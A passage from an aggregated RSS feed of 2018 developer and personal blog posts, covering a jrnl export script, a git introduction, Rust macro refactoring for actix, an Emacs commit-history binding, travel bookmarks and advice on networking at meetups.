&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  posts &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; json&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;load(f)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;new_posts &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; post &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; posts:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  temp &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'id'&lt;/span&gt;: post[&lt;span style="color: #e6db74;"&gt;'id'&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'title'&lt;/span&gt;: post[&lt;span style="color: #e6db74;"&gt;'title'&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'slug'&lt;/span&gt;: post[&lt;span style="color: #e6db74;"&gt;'title'&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'html'&lt;/span&gt;: post[&lt;span style="color: #e6db74;"&gt;'content'&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'image'&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'featured'&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'page'&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'status'&lt;/span&gt;: &lt;span style="color: #e6db74;"&gt;'published'&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'language'&lt;/span&gt;: &lt;span style="color: #e6db74;"&gt;'en_US'&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'meta_title'&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'meta_description'&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'author_id'&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'created_at'&lt;/span&gt;: millis(post[&lt;span style="color: #e6db74;"&gt;'created'&lt;/span&gt;]),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'created_by'&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'updated_at'&lt;/span&gt;: millis(post[&lt;span style="color: #e6db74;"&gt;'modified'&lt;/span&gt;]),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'updated_by'&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'published_at'&lt;/span&gt;: millis(post[&lt;span style="color: #e6db74;"&gt;'entry_date'&lt;/span&gt;]),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'published_by'&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  new_posts&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;append(temp)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;with&lt;/span&gt; open(&lt;span style="color: #e6db74;"&gt;'new_posts.json'&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;'w'&lt;/span&gt;) &lt;span style="color: #66d9ef;"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  json&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;dump(new_posts, f, indent&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="http://helpdesk.jrnl.com/kb/article/150-can-i-backup-my-jrnl/"&gt;http://helpdesk.jrnl.com/kb/article/150-can-i-backup-my-jrnl/&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>Posts on Sean Lane</author><pubDate>Mon, 13 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2018/08/Extracting-Entries-from-jrnl.com/</guid></item><item><title>A simple guide to git</title><link>https://jasoneckert.github.io/myblog/a-simple-guide-to-git/</link><description>&lt;p&gt;&lt;img alt="git1" src="git1.png#center" title="git1" /&gt;&lt;/p&gt;
&lt;p&gt;Simply put, Git is a version control system that can be used to keep track of the changes that you make to files over time - it allows you to revert files to a previous state, or see who made changes to a file at different times if several people are working the those files collaboratively.&lt;/p&gt;
&lt;p&gt;Git was original developed back in 2005 by Linus Torvalds (the creator of Linux) to aid in making changes to the Linux kernel, but has since become the most common open source version control system used today. You can run Git on most platforms, including Windows, Linux and macOS. Although people primarily use it today for version controlling software projects, you can use it to provide version control for any files on your system.  In this blog post, I’ll use it to provide version control and central access for Linux shell scripts (something that is very useful for Linux administrators).&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Mon, 13 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/a-simple-guide-to-git/</guid></item><item><title>Refactoring with Rust macros</title><link>https://philbooth.me/blog/refactoring-with-rust-macros/</link><description>&lt;p&gt;Refactoring boilerplate code is always easy
in dynamically-typed languages,
but sometimes takes a bit more effort
when constrained by strong typing.
This is something I was puzzling over recently,
when the penny dropped for me
about how &lt;a href="https://doc.rust-lang.org/book/second-edition/appendix-04-macros.html"&gt;Rust&amp;rsquo;s macros&lt;/a&gt;
can be used to bridge the gap.&lt;/p&gt;
&lt;p&gt;If you have control
over all of the code in question,
macros probably aren&amp;rsquo;t needed of course.
Some combination of generics, traits and enums
would typically provide a better (and more readable) solution.
But there are times
when the types involved
are out of your control
and that is a niche
which macros can thrive in.&lt;/p&gt;
&lt;p&gt;Here is a basic example
I encountered last week.
&lt;a href="https://actix.rs/api/actix-web/stable/actix_web"&gt;Actix-web&lt;/a&gt;
exports a &lt;code&gt;TestServer&lt;/code&gt; struct
that helps you test your endpoints.
&lt;code&gt;TestServer::new&lt;/code&gt; expects a configuration function
that takes one argument
of type &lt;code&gt;TestApp&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;TestServer::new(|app| {
    // Set up routes, resources and middleware
    // by calling methods on `app`...
})
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For the production code
there is a similar &lt;code&gt;App&lt;/code&gt; type,
which has methods
with the same signatures
as the ones on &lt;code&gt;TestApp&lt;/code&gt;.
Since the routes you want to test
are likely the same
as the routes on your production server,
a natural next step
might be to try and write
a common route-setup function
that works in both contexts.
Unfortunately though,
&lt;code&gt;TestApp&lt;/code&gt; and &lt;code&gt;App&lt;/code&gt; are not related.
Those &amp;ldquo;common&amp;rdquo; methods aren&amp;rsquo;t inherited
from some shared trait,
they&amp;rsquo;re defined independently
on each structure.&lt;/p&gt;
&lt;p&gt;So in order to write a function
that sets routes on either &lt;code&gt;App&lt;/code&gt; or &lt;code&gt;TestApp&lt;/code&gt;,
you&amp;rsquo;d have to wrap them in an enum
and write code to manually forward
all of the method calls
to the inner structs.
Looking up the associated type information
to get those definitions right
is tedious busywork,
but a simple macro
allows you to skip it instead:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;macro_rules! init_routes {
    ($app:expr) =&amp;gt; {
        // All the initialisation code stays the same,
        // methods are just called on `$app` instead...
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now you can invoke the macro
from both your test setup
and the production code,
without it needing to know anything about
the type information for &lt;code&gt;$app&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;TestServer::new(|app| {
    init_routes!(app);
})
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The compiler will concern itself
with type-checking later,
after the macro has been expanded.
All the macro cares about
is whether its match arm is satisfied.&lt;/p&gt;
&lt;h3 id="refactoring-types"&gt;Refactoring types&lt;/h3&gt;
&lt;p&gt;Macros can also be used
to eliminate duplication
where there is no executable code
involved at all,
only type information.&lt;/p&gt;
&lt;p&gt;For instance,
staying with actix,
let&amp;rsquo;s say you have an actor
that handles some messages:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pub struct MyActor {
    // Whatever state your actor needs...
}

impl Handler&amp;lt;Foo&amp;gt; for MyActor {
    type Result = Result&amp;lt;HashMap&amp;lt;String, String&amp;gt;, Error&amp;gt;;

    fn handle(&amp;amp;mut self, msg: Foo, context: &amp;amp;mut self::Context) -&amp;gt; Self::Result {
        let mut result = HashMap::new();

        // Populate `result` somehow...

        Ok(result)
    }
}

impl Handler&amp;lt;Bar&amp;gt; for MyActor {
    type Result = Result&amp;lt;bool, Error&amp;gt;;

    fn handle(&amp;amp;mut self, msg: Foo, context: &amp;amp;mut self::Context) -&amp;gt; Self::Result {
        let mut result = false;

        // ...

        Ok(result)
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The code to define
the &lt;code&gt;Foo&lt;/code&gt; and &lt;code&gt;Bar&lt;/code&gt; messages
might look something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pub struct Foo {
    pub id: String,
    pub wibble: String,
}

impl Message for Foo {
    type Result = &amp;lt;MyActor as Handler&amp;lt;Foo&amp;gt;&amp;gt;::Result;
}

pub struct Bar {
    pub id: String,
    pub blee: String,
}

impl Message for Bar {
    type Result = &amp;lt;MyActor as Handler&amp;lt;Bar&amp;gt;&amp;gt;::Result;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And that pattern might be repeated many more times
for other message types too.
Conventional refactoring is immediately off the agenda here
because we only have types, properties
and the &lt;code&gt;Message&lt;/code&gt; trait
to work with.
But that&amp;rsquo;s all meat and drink
for a macro:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;macro_rules! message {
    ($message:ident {$($property:ident: $type:ty),*}) =&amp;gt; {
        pub struct $message {
            $(pub $property: $type,)*
        }

        impl Message for $message {
            type Result = &amp;lt;MyActor as Handler&amp;lt;$message&amp;gt;&amp;gt;::Result;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With that in place
your message boilerplate
now looks like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;message!(Foo {
    id: String,
    foo: String
});

message!(Bar {
    id: String,
    bar: String
});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An important introduction here
was the pair of &lt;code&gt;$(&lt;/code&gt; and &lt;code&gt;),*&lt;/code&gt;
wrapping the declarations
of &lt;code&gt;$property&lt;/code&gt; and &lt;code&gt;$type&lt;/code&gt;
in the match arm of the macro.
That denotes repetition
and says the enclosed portion of the match
can be repeated zero or more times,
with a &lt;code&gt;,&lt;/code&gt; separating each item.
Replacing the &lt;code&gt;*&lt;/code&gt; with a &lt;code&gt;+&lt;/code&gt;
would change that to one or more times
and the &lt;code&gt;,&lt;/code&gt; could be replaced
by anything you like
(including nothing at all).
But &lt;code&gt;,&lt;/code&gt; is a good choice here
because it makes the macro more intuitive.&lt;/p&gt;
&lt;h3 id="nested-macros"&gt;Nested macros&lt;/h3&gt;
&lt;p&gt;That&amp;rsquo;s all well and good
for straightforward cases,
but what about
when a refactoring has many levels?
Perhaps there is a core pattern
to be extracted
in addition to higher levels
that depend on the core?
This can also be achieved,
although there are a couple of gotchas
to be careful of.&lt;/p&gt;
&lt;p&gt;Returning to the previous example,
you&amp;rsquo;ll have noticed that &lt;code&gt;Foo&lt;/code&gt; and &lt;code&gt;Bar&lt;/code&gt;
share a common &lt;code&gt;id&lt;/code&gt; property.
If there are no other message types,
we could just move &lt;code&gt;id&lt;/code&gt;
into the macro body inline.
But what if there are
&lt;code&gt;Baz&lt;/code&gt; and &lt;code&gt;Qux&lt;/code&gt; messages,
which don&amp;rsquo;t have an &lt;code&gt;id&lt;/code&gt; property?
Nested macros can help you with that:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;macro_rules! id_message {
    ($message:ident {$($property:ident: $type:ty),*}) =&amp;gt; {
        message!($message {
            id: String
            $(, $property: $type)*
        });
    }
}

id_message!(Foo {
    foo: String
});

id_message!(Bar {
    bar: String
});

message!(Baz {
    baz: String
});

message!(Qux {
    qux: String
});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Another way of expressing the same thing
might have been to try and write
a higher-order macro,
nesting one &lt;code&gt;macro_rules!&lt;/code&gt;
directly inside another.
But in this case that wouldn&amp;rsquo;t work
because nested repetition is ambiguous syntax:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;macro_rules! message_macro {
    ($macro:ident {$($common_property:ident: $common_type:ty),*}) =&amp;gt; {
        macro_rules! $macro {
            ($message:ident {$($property:ident: $type:ty),*}) =&amp;gt; {
                pub struct $message {
                    $(pub $common_property: $common_type,)*
                    $(pub $property: $type,)*
                }

                impl Message for $message {
                    type Result = &amp;lt;MyActor as Handler&amp;lt;$message&amp;gt;&amp;gt;::Result;
                }
            }
        }
    }
}

message_macro!(message {});

message_macro!(id_message {
    id: String
});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here,
it would require some magical thinking
to infer that we meant for
&lt;code&gt;$($property:ident: $type:ty),*&lt;/code&gt;
to be interpreted as part of
the child macro&amp;rsquo;s match arm
rather than the parent macro&amp;rsquo;s body.
The compiler very reasonably points this out to us
with the following error message:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;error: attempted to repeat an expression containing no syntax variables matched as repeating at this depth
 --&amp;gt; src/main.rs:4:31
  |
4 |             ($message:ident {$($property:ident: $type:ty),*}) =&amp;gt; {
  |
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The second obstacle
to be wary of with nesting
is macro hygiene.
Rust&amp;rsquo;s macros are hygienic,
which means they each have their own context for expansion.
An identifier introduced by an inner context
may not be referenced by outer layers,
instead you must pass the identifier in from outside.
Even if the expansion looks like
it would make sense when rolled out manually,
the compiler will still complain.&lt;/p&gt;
&lt;p&gt;More concretely,
consider the following
macros for defining route handlers
with actix-web:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;macro_rules! endpoint {
    ($handler:ident: $dispatcher:ident ($path_type:ty) {$($property:ident: $value:expr),*}) =&amp;gt; {
        pub fn $handler(
            (path, state): (Path&amp;lt;$path_type&amp;gt;, State&amp;lt;ServerState&amp;gt;),
        ) -&amp;gt; FutureResponse&amp;lt;HttpResponse&amp;gt; {
            state
                .actor
                .send($dispatcher {
                    $($property: $value),*
                })
                .from_err()
                .and_then(|res| match res {
                    Ok(body) =&amp;gt; Ok(HttpResponse::Ok().json(body)),
                    Err(_) =&amp;gt; Ok(HttpResponse::InternalServerError().into()),
                })
                .responder()
        }
    }
}

macro_rules! uid_endpoint {
    ($handler:ident: $dispatcher:ident) =&amp;gt; {
        endpoint! {
            $handler: $dispatcher (UidParam) {
                uid: path.uid.clone()
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;uid_endpoint!&lt;/code&gt; would fail compilation here with:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;error[E0425]: cannot find value `path` in this scope
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Even though we know &lt;code&gt;path&lt;/code&gt; exists
because &lt;code&gt;endpoint!&lt;/code&gt; always declares it,
we still have to pass the identifier in
so that &lt;code&gt;uid_endpoint!&lt;/code&gt; is allowed to reference it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;macro_rules! endpoint {
    ($handler:ident: $dispatcher:ident ($path:ident: $path_type:ty) {$($property:ident: $value:expr),*}) =&amp;gt; {
        pub fn $handler(
            ($path, state): (Path&amp;lt;$path_type&amp;gt;, State&amp;lt;ServerState&amp;gt;),
        ) -&amp;gt; FutureResponse&amp;lt;HttpResponse&amp;gt; {
            state
                .actor
                .send($dispatcher {
                    $($property: $value),*
                })
                .from_err()
                .and_then(|res| match res {
                    Ok(body) =&amp;gt; Ok(HttpResponse::Ok().json(body)),
                    Err(_) =&amp;gt; Ok(HttpResponse::InternalServerError().into()),
                })
                .responder()
        }
    }
}

macro_rules! uid_endpoint {
    ($handler:ident: $dispatcher:ident) =&amp;gt; {
        endpoint! {
            $handler: $dispatcher (path: UidParam) {
                uid: path.uid.clone()
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="macro-debugging"&gt;Macro debugging&lt;/h3&gt;
&lt;p&gt;Something that&amp;rsquo;s obvious
from the examples in this post
is that macros can get pretty grawlixy
and hard to read at times.
If the compiler is complaining
about some code in one of your macros
and you&amp;rsquo;re struggling to identify the problem,
it can be helpful to look at
the rolled-out macro expansions.
There is a compiler flag
that lets you print them
from the command line:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;rustc -Z unstable-options --pretty expanded &amp;lt;MODULE PATH&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Where &lt;code&gt;&amp;lt;MODULE PATH&amp;gt;&lt;/code&gt; is the path
to the source module
containing the macro you want to print.&lt;/p&gt;
&lt;p&gt;A general rule of thumb
I&amp;rsquo;ve found helpful is to try
and keep lower-level macros
as simple as you can,
limiting all repetition to just the outermost macros
where possible.&lt;/p&gt;</description><author>Phil Booth's Blog</author><pubDate>Sun, 12 Aug 2018 15:54:12 GMT</pubDate><guid isPermaLink="true">https://philbooth.me/blog/refactoring-with-rust-macros/</guid></item><item><title>Comoro islands travel bookmarks</title><link>https://xenodium.com/comoro-islands-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.quora.com/What-are-some-of-the-exotic-tourist-destinations-which-are-not-commonly-known/answer/Patrick-Crosset"&gt;Visiting The Comoros Islands (Quota)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 12 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/comoro-islands-travel-bookmarks</guid></item><item><title>France travel bookmarks</title><link>https://xenodium.com/france-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.lonelyplanet.com/articles/france-top-food-experiences"&gt;France's 10 top food experiences - Lonely Planet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thefrenchtouch.quora.com/GR-20-Best-Mountain-Hiking-in-France"&gt;GR 20 : Best Mountain Hiking in France - The French Touch - Quora&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/malk_zameth/status/1278288570021826563"&gt;Hmmm I want to take some August vacation time in a city I can go by train from paris and is nice to visit calm and not too expensive &lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UtterlyInteresting/comments/1gfq75j/inside_the_walls_of_mont_saintmichel_france"&gt;Inside the walls of Mont Saint-Michel, France.&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 12 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/france-travel-bookmarks</guid></item><item><title>Corsica travel bookmarks</title><link>https://xenodium.com/corsica-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thefrenchtouch.quora.com/National-Geographic-Corsica-is-The-Best-Place-in-the-World-to-go-in-2015"&gt;National Geographic : Corsica is The Best Place… - The French Touch - Quora&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 12 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/corsica-travel-bookmarks</guid></item><item><title>Mozambique travel bookmarks</title><link>https://xenodium.com/mozambique-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://africa.quora.com/Mozambiques-beaches"&gt;Mozambique's beaches - Africa is Back - Quora&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 12 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/mozambique-travel-bookmarks</guid></item><item><title>M-r history search in git-commit-mode</title><link>https://xenodium.com/m-r-history-search-in-git-commit-mode</link><description>&lt;p&gt;I've grown accustomed to M-r bindings to search Emacs history. Been wanting similar functionality to search commit message history. Turns out &lt;em&gt;log-edit-comment-ring&lt;/em&gt; has some of my local commit message history. Feeding it to &lt;em&gt;completing-read&lt;/em&gt; gives me an easily searchable history when using a completing framework like ivy or helm:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(defun ar/git-commit-search-message-history ()
  &amp;quot;Search and insert commit message from history.&amp;quot;
  (interactive)
  (insert (completing-read &amp;quot;History: &amp;quot;
                           ;; Remove unnecessary newlines from beginning and end.
                           (mapcar (lambda (text)
                                     (string-trim text))
                                   (ring-elements log-edit-comment-ring)))))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we bind it to &lt;em&gt;M-r&lt;/em&gt; and we're good to go:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(bind-key &amp;quot;M-r&amp;quot; #'ar/git-commit-search-message-history git-commit-mode-map)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;May also want to persist &lt;em&gt;log-edit-comment-ring&lt;/em&gt; across Emacs sessions by adding &lt;em&gt;log-edit-comment-ring&lt;/em&gt; to savehist variables. Also ensure &lt;em&gt;savehist-mode&lt;/em&gt; is enabled:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(add-to-list 'savehist-additional-variables log-edit-comment-ring)
(savehist-mode +1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/m-r-history-search-in-git-commit-mode/m-r-commit-history.png" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 12 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/m-r-history-search-in-git-commit-mode</guid></item><item><title>Deadpool 2</title><link>https://olshansky.info/movie/deadpool_2/</link><description>Olshansky's review of Deadpool 2</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 12 Aug 2018 01:40:03 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/deadpool_2/</guid></item><item><title>Networking at Tech Meetups</title><link>/meetup-networking/</link><description>&lt;p&gt;Tech meetups and talks are a great way to get to know fellow developers in your locality. But it can be challenging if you are introverted by your nature. Although you may not be introverted, some find it challenging to approach people when they first attended a meetup. Networking is a core part of why many attend meetups — whether to find a project to work on, a new job or just a friend. This article is motivated by knowing my past-self and others would benefit from how to network at meetups.&lt;/p&gt;
&lt;p&gt;First of all, know who attend meetups. Developers! Rather than being a source for discomfort, you can look around the room in the midst of Gitlab hoodies, beards and sticker covered laptops and breath a sigh of relief. These are your people. Developers are like spiders, they are more afraid of you than you are of them. So just approach them! They won’t hurt you.&lt;/p&gt;
&lt;p&gt;A primary source of fear comes from not know what to speak about once you approach someone. At a meetup, beyond the “hey what’s your name” basic stuff, I ask “What project are you most passionate about at the moment? — whether at work or in your spare time”. Or perhaps “Are you going to use any of the tech that was mentioned in today’s talk?”. A safe starter question is just to ask them what they do day to day at work. Be interested in people. People are interesting and always, especially with a developer, excited about something. Find what they are excited about and then drill down on it.&lt;/p&gt;
&lt;p&gt;Avoid questions that can be answered with “yeah it’s alright” or “yeah good”. These are Boolean questions. Instead of asking “Did you enjoy the talk” ask, “Is there anything you’re going to apply today from the talk in your work? I’ve not used X technology before but the principles carry over into Y project I’m doing”. The main object of these questions is to get the person talking. People will latch onto you if they do most of the talking.&lt;/p&gt;
&lt;p&gt;Often groups can form and so it can seem like you’re butting in on the conversation but don’t fear this! Either look around for a couple of people sitting down or try and ease your way into the group. Don’t feel awkward, just start listening to the conversation. Be careful not to already ask a question that may have been asked previously. Latch onto some new information that is mentioned and ask about that.&lt;/p&gt;
&lt;p&gt;Don’t be afraid to end a conversation, you can’t stay at the meetup all night and you want to speak to more than one person. Simply say “It’s been great chatting with you, could we continue this? I have some interesting questions for you. What’s your email and/or LinkedIn?”. Then hand them your phone to put your details in. Keep it professional so try to stick to professional forms of contact (usually email, LinkedIn or Twitter).&lt;/p&gt;
&lt;p&gt;After the meetup, try to follow up with an email with a question based on what you spoke about. Keep a template handy that you can fill in for speed.&lt;/p&gt;
&lt;p&gt;By even your second meetup, you’ll find it a lot easier to begin speaking to people and the initial barrier will be cut down. Becoming a regular, you’ll also get to know friendly faces so you can check in with them to see how their project is going or their job hunt.&lt;/p&gt;
&lt;p&gt;Although these tips are to help you there will be times when you say the wrong thing or blurt something out at the wrong time. But don’t be afraid, we all do it. Even the queen wears underwear as they say. Networking shouldn’t be shied away from for fear of social embarrassment or for looking like a yuppie, it’s a critical part of your careers development and could potentially open many doors for you — it has for me.&lt;/p&gt;
&lt;p&gt;If you would like to read more, I discuss similar topics as well as more in-depth technical posts &lt;a href="https://blog.joshghent.com/"&gt;here on my blog&lt;/a&gt;. I also tweet &lt;a href="https://twitter.com/joshghent"&gt;here&lt;/a&gt;.&lt;/p&gt;</description><author/><pubDate>Sun, 12 Aug 2018 01:12:03 GMT</pubDate><guid isPermaLink="true">/meetup-networking/</guid></item><item><title>Rubber Ducky Moments: 'Completely unrelated []interface{}!!!'</title><link>https://liza.io/rubber-ducky-moments-completely-unrelated-interface/</link><description>&lt;p&gt;I mentioned on Twitter earlier today that very often when I get really stuck on something and finally decide to ask for help on a forum, the answer suddenly hits me as I finish writing my post. Most of the time the problem is something really silly that I just kept completely overlooking, and the answer feels painfully obvious once it clicks. Despite the fact that these might be a little embarrassing to post, I figured rather than letting my entire would-be forum post go to total waste once I finally get what&amp;rsquo;s happening (and so never end up clicking the &amp;ldquo;Post&amp;rdquo; button), it might be nice to post the issue on my blog, if nothing else as a reminder of my own facepalm moments.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 11 Aug 2018 21:24:57 GMT</pubDate><guid isPermaLink="true">https://liza.io/rubber-ducky-moments-completely-unrelated-interface/</guid></item><item><title>Life Hacks: Text Notifications</title><link>https://lambdaland.org/posts/2018-08-11-life-hacks-text-notifications/</link><description>&lt;h1 id="life-hacks-text-notifications"&gt;
  Life Hacks: Text Notifications
  &lt;a class="anchor" href="#life-hacks-text-notifications"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;p&gt;So many notifications come to us in the form of an audible alert, and this can sometimes be inconvenient. Who likes having their phone go off in church? The problem is that sound propagates regardless of the intended target. Touch, on the other hand, is an inherently personal sensation. Setting your phone to vibrate lets you know you&amp;rsquo;re being alerted, without notifying everyone else in the room as well.&lt;/p&gt;
